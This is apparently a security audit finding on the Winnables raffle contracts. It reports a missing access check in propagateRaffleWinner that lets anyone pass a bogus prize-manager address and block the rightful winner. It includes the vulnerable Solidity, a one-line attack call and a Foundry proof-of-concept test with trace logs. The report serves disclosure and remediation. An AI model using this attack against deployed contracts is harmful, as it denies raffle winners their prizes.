Itchy Mahogany Turtle

High

# Malicious Users Will Block Raffle Winners from Claiming Prizes in WinnablesTicketManager

### Summary

In the `WinnablesTicketManager` smart contract, there exists a Denial of Service (DoS) vulnerability within the `propagateRaffleWinner` function. This vulnerability allows any user to potentially hinder the rightful winner of a raffle from claiming their prize by prematurely or maliciously triggering the function with incorrect parameters.

### Root Cause

After a raffle has concluded and the fulfillRandomWords() function is executed, the randomized selection of a winner is successfully completed, setting the raffle status to FULFILLED. At this point, the propagateRaffleWinner function should be called to communicate the result to the PrizeManager through a cross-chain message utilizing the Chainlink CCIP (Cross-Chain Interoperability Protocol).

However, the function propagateRaffleWinner does not include necessary validations to ensure that:

The caller of the function has the authority to execute it, allowing any user to potentially call it.
The prizeManager address and chainSelector provided as parameters point to a valid and intended recipient blockchain and contract.

https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L334C5-L345C6

```solidity
function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external {
        Raffle storage raffle = _raffles[raffleId];
        if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus();
        raffle.status = RaffleStatus.PROPAGATED;
        address winner = _getWinnerByRequestId(raffle.chainlinkRequestId);

        _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner));
        IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId);
        unchecked {
            _lockedETH -= raffle.totalRaised;
        }
    }

```
The lack of these checks allows any user to:

Call the function with arbitrary, incorrect, or malicious parameters for the prizeManager and chainSelector.
Change the raffle status to PROPAGATED without actually ensuring the cross-chain message is correctly addressed.
As a result, if an incorrect address or chain selector is provided, the _sendCCIPMessage will still execute according to its built-in checks (only verifying that the inputs are non-zero).

https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/BaseCCIPSender.sol#L15C5-L24C57

```solidity
 function _sendCCIPMessage(
        address ccipDestAddress,
        uint64 ccipDestChainSelector,
        bytes memory data
    ) internal returns(bytes32 messageId) {
        if (ccipDestAddress == address(0) || ccipDestChainSelector == uint64(0)) {
            revert MissingCCIPParams();
        }

        // Send CCIP message to the desitnation contract

```


### Internal pre-conditions

A raffle ends

### External pre-conditions

The `WinnablesTicketsManager` contract gets updated and is waiting for `propagateRaffleWinner` to be called. 

### Attack Path

bad actor calls the function first with incorrect address or chain ID. 
winnablesTicketManager.propagateRaffleWinner(address(9999999), 1, 1);


### Impact

This vulnerability allows attackers or even mistakes to prematurely transition the status of a raffle to PROPAGATED, potentially making it impossible for the correct winner's details to be relayed to the `PrizeManager`.

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../contracts/WinnablesTicketManager.sol";
import "../contracts/WinnablesTicket.sol";
import "../contracts/interfaces/IWinnables.sol"; 


contract MockIERC20 is IERC20 {
    function totalSupply() external view returns (uint256) {}
    function balanceOf(address account) external view returns (uint256) {}
    function transfer(address recipient, uint256 amount) external returns (bool) {}
    function allowance(address owner, address spender) external view returns (uint256) {}
    function approve(address spender, uint256 amount) external returns (bool) {}
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {}
}


contract MockVRFConsumerBaseV2 is VRFConsumerBaseV2 {
    constructor(address coordinator) VRFConsumerBaseV2(coordinator) {}

    // Implementing the abstract function with an empty body for testing
    function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {}
}

contract WinnablesTicketManagerTest is Test, IWinnables {
    WinnablesTicketManager winnablesTicketManager;
    WinnablesTicket winnablesticket;
    address mockLinkToken;
    address mockVrfCoordinator;
    uint64 subscriptionId = 1;
    bytes32 keyHash = "0xabcdef";
    address mockTicketsContract;
    address mockCCIPRouter;

    struct Any2EVMMessage {
        bytes32 messageId; // MessageId corresponding to ccipSend on source
        uint64 sourceChainSelector; // Source chain selector
        bytes sender; // abi.decode(sender) if coming from an EVM chain
        bytes data; // payload sent in original message
        EVMTokenAmount[] tokenAmounts; // Tokens and their amounts at destination
    }

    struct RaffleDetails {
        uint64 startsAt;
        uint64 endsAt;
        uint32 minTicketsThreshold;
        uint32 maxTicketSupply;
        uint32 maxHoldings;
        uint256 totalRaised;
        RaffleStatus status;
        uint256 chainlinkRequestId;
    }
    
    struct EVMTokenAmount {
        address token; // token address on local blockchain
        uint256 amount;
    }

    function setUp() public {
        mockLinkToken = address(new MockIERC20());
        mockVrfCoordinator = address(new MockVRFConsumerBaseV2(address(this)));
        winnablesticket = new WinnablesTicket();
        mockCCIPRouter = address(this);
        
        winnablesTicketManager = new WinnablesTicketManager(
            mockLinkToken, 
            mockVrfCoordinator, 
            subscriptionId,
            keyHash, 
            address(winnablesticket), 
            mockCCIPRouter
        );

        winnablesticket.setRole(address(winnablesTicketManager), 1, true);
    }

    receive() external payable {
        
    }

    function getAndLogRaffleDetails(uint256 raffleId) internal returns (uint64, uint64, uint32, uint32, uint32, uint256, RaffleStatus, uint256) {
        (uint64 startsOut, uint64 endsOut, uint32 minOut, uint32 maxOut, uint32 maxHoldOut, uint256 totalRaisedOut, RaffleStatus statusOut, uint256 chainlinkRequestIdOut) 
            = winnablesTicketManager.getRaffle(raffleId);

        console.log("");
        console.log("Tickets sold :", winnablesticket.supplyOf(raffleId));    
        console.log("Raffle Id : ", raffleId);
        console.log("Starts At: %s, Ends At: %s", startsOut, endsOut);
        console.log("Min Tickets: %s, Max Tickets: %s, Max Holdings: %s", minOut, maxOut, maxHoldOut);
        console.log("Total Raised: %s, Status: %s, Chainlink Request ID: %s", totalRaisedOut, uint(statusOut), chainlinkRequestIdOut);
        console.log("");

        return (startsOut, endsOut, minOut, maxOut, maxHoldOut, totalRaisedOut, statusOut, chainlinkRequestIdOut);

    }

    function logBalanceVsLockedEth() internal {
        uint256 contractBalance = address(winnablesTicketManager).balance;
        uint256 lockedEth = winnablesTicketManager._lockedETH();

        console.log("Contract Eth Balance : ", contractBalance);
        console.log("Contract _lockedEth : ", lockedEth);
    }
    function setupRaffle(
    uint256 raffleId,
    uint64 startsAt,
    uint64 endsAt,
    uint32 minTickets,
    uint32 maxTickets,
    uint32 maxHoldings,
    address senderAddress,
    uint64 chainSelector,
    address _senderAddress
) internal {
    // Simulate the prize being locked via a CCIP message
    bytes memory ccipData = abi.encode(raffleId);
    Client.EVMTokenAmount[] memory emptyTokenAmounts = new Client.EVMTokenAmount[](0);
    Client.Any2EVMMessage memory message = Client.Any2EVMMessage({
        messageId: keccak256(abi.encodePacked(block.timestamp)),
        sourceChainSelector: chainSelector,
        sender: abi.encode(_senderAddress),
        data: ccipData,
        destTokenAmounts: emptyTokenAmounts
    });

    winnablesTicketManager.setCCIPCounterpart(_senderAddress, chainSelector, true);

    vm.warp(800);
    vm.prank(_senderAddress); // Mock the caller to be the sender or router
    winnablesTicketManager.ccipReceive(message);

    winnablesTicketManager.createRaffle(raffleId, startsAt, endsAt, minTickets, maxTickets, maxHoldings);
}

function usersBuyTickets(uint256 raffleId, address[] memory users, uint256 ticketAmount) internal {
    // Setup balances for the users (assuming the contract is payable and can receive ETH)
    for (uint i = 0; i < users.length; ++i) {
        vm.deal(users[i], 1 ether); // Provide each user with 1 ETH
    }

    // Each user buys tickets
    for (uint i = 0; i < users.length; ++i) {
        vm.prank(users[i]); // Execute the following transaction as user[i]
        winnablesTicketManager.buyTickets{value: 0.1 ether}(raffleId, uint16(ticketAmount), block.number + 1000, ""); // Assuming 0.1 ETH per ticket, no need for a signature for now
    }
}


    function testDOSTheWinner() public {
    uint256 raffleId = 1;
    uint64 startsAt = 1;
    uint64 endsAt = startsAt + 1 days;
    uint32 minTickets = 10;
    uint32 maxTickets = 100;
    uint32 maxHoldings = 5;

    // Simulate the prize being locked via a CCIP message
    address senderAddress = address(this); // Simulate sender address
    uint64 chainSelector = 1; // Simulate a chain selector, typically the identifier for the chain
    address _senderAddress = senderAddress;    
    bytes memory ccipData = abi.encode(raffleId);

    // Encode and construct the Any2EVMMessage
    Client.EVMTokenAmount[] memory emptyTokenAmounts = new Client.EVMTokenAmount[](0);
    Client.Any2EVMMessage memory message = Client.Any2EVMMessage({
        messageId: keccak256(abi.encodePacked(block.timestamp)),
        sourceChainSelector: chainSelector,
        sender: abi.encode(_senderAddress),
        data: ccipData,
        destTokenAmounts: emptyTokenAmounts
    });

    winnablesTicketManager.setCCIPCounterpart(_senderAddress, chainSelector, true);

    vm.warp(800);

    vm.prank(_senderAddress); // Mock the caller to be the sender or router

    winnablesTicketManager.ccipReceive(message);
    
    winnablesTicketManager.createRaffle(raffleId, startsAt, endsAt, minTickets, maxTickets, maxHoldings);

    //uint256 timestamp = block.timestamp;
    console.log("current timestamp:  ", block.timestamp);

    // Check initial raffle state
    getAndLogRaffleDetails(raffleId);

    // Warp time to after the raffle start time
    vm.warp(startsAt + 1 hours);

    // Assume a pseudo-blockchain state change
    vm.roll(block.number + 1);

    // Define users
    address[] memory users = new address[](3);
    users[0] = address(0x123);
    users[1] = address(0x456);
    users[2] = address(0x789);

    // Setup balances for the users 
    for (uint i = 0; i < users.length; ++i) {
        vm.deal(users[i], 1 ether); 
    }

    // Each user buys tickets
    for (uint i = 0; i < users.length; ++i) {
        vm.prank(users[i]); 
        winnablesTicketManager.buyTickets{value: 0.1 ether}(raffleId, 5, block.number + 1000, ""); // Assuming 0.1 ETH per ticket, no need for a signature for now
    }

    
    getAndLogRaffleDetails(raffleId);

    logBalanceVsLockedEth();

    vm.warp(startsAt + 3 days);
    winnablesTicketManager.drawWinner(1);

    

    getAndLogRaffleDetails(raffleId);

    

    logBalanceVsLockedEth();

    ///// bad actor /////
    vm.prank(address(55));
    winnablesTicketManager.propagateRaffleWinner(address(9999999), 1, 1);


    ///// Good Actor /////
    winnablesTicketManager.propagateRaffleWinner(address(10), 1, 1);
    console.log("Winner Propagated");
    logBalanceVsLockedEth();
    

    
}


}

```


This test function fails when the good actor tries to call with correct info. 

Logs

```solidity
[17977] WinnablesTicketManager::propagateRaffleWinner(0x000000000000000000000000000000000098967F, 1, 1)
    │   ├─ [520] WinnablesTicket::supplyOf(1) [staticcall]
    │   │   └─ ← [Return] 15
    │   ├─ [10312] WinnablesTicket::ownerOf(1, 9) [staticcall]
    │   │   └─ ← [Return] 0x0000000000000000000000000000000000000456
    │   ├─ [3942] WinnablesTicket::refreshMetadata(1)
    │   │   ├─ emit URI(value: "1", id: 1)
    │   │   └─ ← [Return] 
    │   └─ ← [Return] 
    ├─ [993] WinnablesTicketManager::propagateRaffleWinner(PointEvaluation: [0x000000000000000000000000000000000000000A], 1, 1)
    │   └─ ← [Revert] InvalidRaffleStatus()
    └─ ← [Revert] InvalidRaffleStatus()

```

### Mitigation

To mitigate the impacts of this vulnerability, the following strategies should be implemented:

Authorization Check: Ensure that only authorized users (e.g., contract owner, raffle administrators) or automated systems (e.g., via secure internal triggers) can invoke `propagateRaffleWinner`.

Parameter Validation: Enhance the checks to validate `prizeManager` is a legitimate and expected address, possibly by maintaining a registry of valid addresses and selectors, thus preventing misdirection of cross-chain messages.